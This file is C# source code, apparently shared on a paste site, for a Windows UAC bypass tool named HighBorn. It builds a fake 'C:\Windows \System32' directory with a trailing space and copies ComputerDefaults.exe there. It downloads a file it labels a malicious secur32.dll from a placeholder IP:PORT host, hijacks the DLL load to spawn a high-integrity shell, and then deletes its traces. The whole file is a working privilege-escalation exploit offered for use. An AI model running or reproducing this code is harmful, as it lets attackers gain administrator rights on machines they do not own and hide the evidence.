HighBorn.cs 4.2 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126
  1. using System;
  2. using System.IO;
  3. using System.Runtime.InteropServices;
  4. using System.Diagnostics;
  5. using System.Net;
  6. namespace HighBorn
  7. {
  8. class HighBorn
  9. {
  10. [DllImport("kernel32.dll", SetLastError = true)]
  11. static extern bool Wow64DisableWow64FsRedirection(ref IntPtr ptr);
  12. [DllImport("kernel32.dll", SetLastError = true)]
  13. static extern bool Wow64RevertWow64FsRedirection(IntPtr ptr);
  14. [DllImport("kernel32.dll", SetLastError = true)]
  15. static extern bool CreateDirectory(string lpPathName, IntPtr lpSecurityAttributes);
  16. [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  17. static extern bool CopyFile(string lpExistingFileName, string lpNewFileName, bool bFailIfExists);
  18. [DllImport("kernel32.dll", SetLastError = true)]
  19. [return: MarshalAs(UnmanagedType.Bool)]
  20. static extern bool DeleteFileW([MarshalAs(UnmanagedType.LPWStr)]string lpFileName);
  21. [DllImport("kernel32.dll", SetLastError = true)]
  22. static extern bool RemoveDirectory(string lpPathName);
  23. [DllImport("ntdll.dll")]
  24. public static extern int NtDelayExecution(bool Alertable, ref long DelayInterval);
  25. [DllImport("ntdll.dll")]
  26. public static extern int ZwSetTimerResolution(uint RequestedResolution, bool Set, out uint ActualResolution);
  27. private static bool isResolutionSet = false;
  28. static void SleepShort(float milliseconds)
  29. {
  30. if (!isResolutionSet)
  31. {
  32. uint actualResolution;
  33. ZwSetTimerResolution(1, true, out actualResolution);
  34. isResolutionSet = true;
  35. }
  36. long interval = (long)(-1 * milliseconds * 10000.0f); // Convert to 100-nanosecond intervals
  37. NtDelayExecution(false, ref interval);
  38. }
  39. public static void Main(string[] args)
  40. {
  41. IntPtr wow64Value = IntPtr.Zero;
  42. Wow64DisableWow64FsRedirection(ref wow64Value);
  43. Console.WriteLine("[^] Directories Created");
  44. try
  45. {
  46. CreateDirectory(@"\\?\C:\Windows \", IntPtr.Zero);
  47. CreateDirectory(@"\\?\C:\Windows \System32\", IntPtr.Zero);
  48. }
  49. catch
  50. {
  51. Console.WriteLine("[-] Unable to create directories");
  52. }
  53. SleepShort(2000); // Sleep for 2 seconds
  54. Console.WriteLine("[^] Copying Executable Into Mock Directory");
  55. try
  56. {
  57. CopyFile(@"C:\Windows\System32\ComputerDefaults.exe", @"C:\Windows \System32\ComputerDefaults.exe", true);
  58. }
  59. catch
  60. {
  61. Console.WriteLine("[-] Unable to create the mock directories");
  62. }
  63. SleepShort(2000); // Sleep for 2 seconds
  64. Console.WriteLine("[^] Downloading Malicious DLL");
  65. try
  66. {
  67. using (WebClient webClient = new WebClient())
  68. {
  69. webClient.DownloadFile("http://IP:PORT/secur32.dll", @"C:\Windows\temp\secur32.dll");
  70. }
  71. }
  72. catch
  73. {
  74. Console.WriteLine("[^] DLL Downloaded");
  75. }
  76. CopyFile(@"C:\Windows\temp\secur32.dll", @"C:\Windows \System32\secur32.dll", true);
  77. SleepShort(2000); // Sleep for 2 seconds
  78. Console.WriteLine("[^] Spawning High Integrity Shell");
  79. try
  80. {
  81. Process.Start(@"C:\Windows \System32\ComputerDefaults.exe").WaitForExit();
  82. }
  83. catch
  84. {
  85. Console.WriteLine("[-] Shell messed up");
  86. }
  87. SleepShort(2000); // Sleep for 2 seconds
  88. Console.WriteLine("[^] Cleaning Up");
  89. DeleteFileW(@"C:\Windows\temp\secur32.dll");
  90. SleepShort(2000);
  91. DeleteFileW(@"C:\Windows \System32\ComputerDefaults.exe");
  92. SleepShort(2000);
  93. DeleteFileW(@"C:\Windows \System32\secur32.dll");
  94. RemoveDirectory(@"C:\Windows \System32\");
  95. RemoveDirectory(@"C:\Windows \");
  96. Wow64RevertWow64FsRedirection(wow64Value);
  97. }
  98. }
  99. }